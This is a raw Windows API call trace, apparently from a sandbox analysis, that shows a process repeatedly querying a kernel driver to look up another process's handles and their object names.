[0136.213] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.213] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.213] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.213] PsAcquireProcessExitSynchronization () returned 0x0 [0136.213] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.213] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0136.213] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.213] PsReleaseProcessExitSynchronization () returned 0x2 [0136.213] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.213] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.213] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0136.213] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.213] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.213] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.213] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.213] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.213] PsAcquireProcessExitSynchronization () returned 0x0 [0136.213] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.213] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0136.213] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.213] PsReleaseProcessExitSynchronization () returned 0x2 [0136.213] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.213] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.213] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0136.213] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.213] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.213] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.214] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.214] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.214] PsAcquireProcessExitSynchronization () returned 0x0 [0136.214] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.214] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0136.214] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.214] PsReleaseProcessExitSynchronization () returned 0x2 [0136.214] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.214] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.214] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0136.214] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.214] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.214] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.214] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.214] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.214] PsAcquireProcessExitSynchronization () returned 0x0 [0136.214] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.214] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0136.214] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.214] PsReleaseProcessExitSynchronization () returned 0x2 [0136.214] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.214] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.214] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0136.214] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.214] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.214] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.214] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.214] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.214] PsAcquireProcessExitSynchronization () returned 0x0 [0136.214] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.214] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0136.214] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.214] PsReleaseProcessExitSynchronization () returned 0x2 [0136.214] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.214] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.215] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0136.215] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.215] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.215] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.215] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.215] PsAcquireProcessExitSynchronization () returned 0x0 [0136.215] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.215] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0136.215] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.215] PsReleaseProcessExitSynchronization () returned 0x2 [0136.215] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.215] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.215] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0136.215] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.215] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.215] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.215] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.215] PsAcquireProcessExitSynchronization () returned 0x0 [0136.215] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.215] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0136.215] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.215] PsReleaseProcessExitSynchronization () returned 0x2 [0136.215] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.215] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.215] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0136.215] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.215] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.215] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.215] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.215] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.215] PsAcquireProcessExitSynchronization () returned 0x0 [0136.215] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.216] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0136.216] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.216] PsReleaseProcessExitSynchronization () returned 0x2 [0136.216] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.216] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.216] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0136.216] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.216] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.216] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.216] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.216] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.216] PsAcquireProcessExitSynchronization () returned 0x0 [0136.216] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.216] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0136.216] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.216] PsReleaseProcessExitSynchronization () returned 0x2 [0136.216] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.216] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.216] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0136.216] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.216] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.216] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.216] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.216] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.216] PsAcquireProcessExitSynchronization () returned 0x0 [0136.216] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.216] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0136.216] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.216] PsReleaseProcessExitSynchronization () returned 0x2 [0136.216] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.216] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.216] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0136.216] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.216] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.216] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.217] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.217] PsAcquireProcessExitSynchronization () returned 0x0 [0136.217] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.217] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0136.217] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.217] PsReleaseProcessExitSynchronization () returned 0x2 [0136.217] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.217] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.217] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0136.217] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.217] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.217] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.217] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.217] PsAcquireProcessExitSynchronization () returned 0x0 [0136.217] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.217] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0136.217] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.217] PsReleaseProcessExitSynchronization () returned 0x2 [0136.217] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.217] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.217] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0136.217] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.217] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.217] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.217] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.217] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.217] PsAcquireProcessExitSynchronization () returned 0x0 [0136.217] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.217] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0136.217] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.217] PsReleaseProcessExitSynchronization () returned 0x2 [0136.217] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.218] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.218] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0136.218] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.218] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.218] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.218] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.218] PsAcquireProcessExitSynchronization () returned 0x0 [0136.218] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.218] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0136.218] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.218] PsReleaseProcessExitSynchronization () returned 0x2 [0136.218] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.218] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.218] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0136.218] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.218] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.218] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.218] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.218] PsAcquireProcessExitSynchronization () returned 0x0 [0136.218] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.218] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0136.218] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.218] PsReleaseProcessExitSynchronization () returned 0x2 [0136.218] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.218] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.218] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0136.218] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.218] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.218] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.218] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.218] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.218] PsAcquireProcessExitSynchronization () returned 0x0 [0136.219] 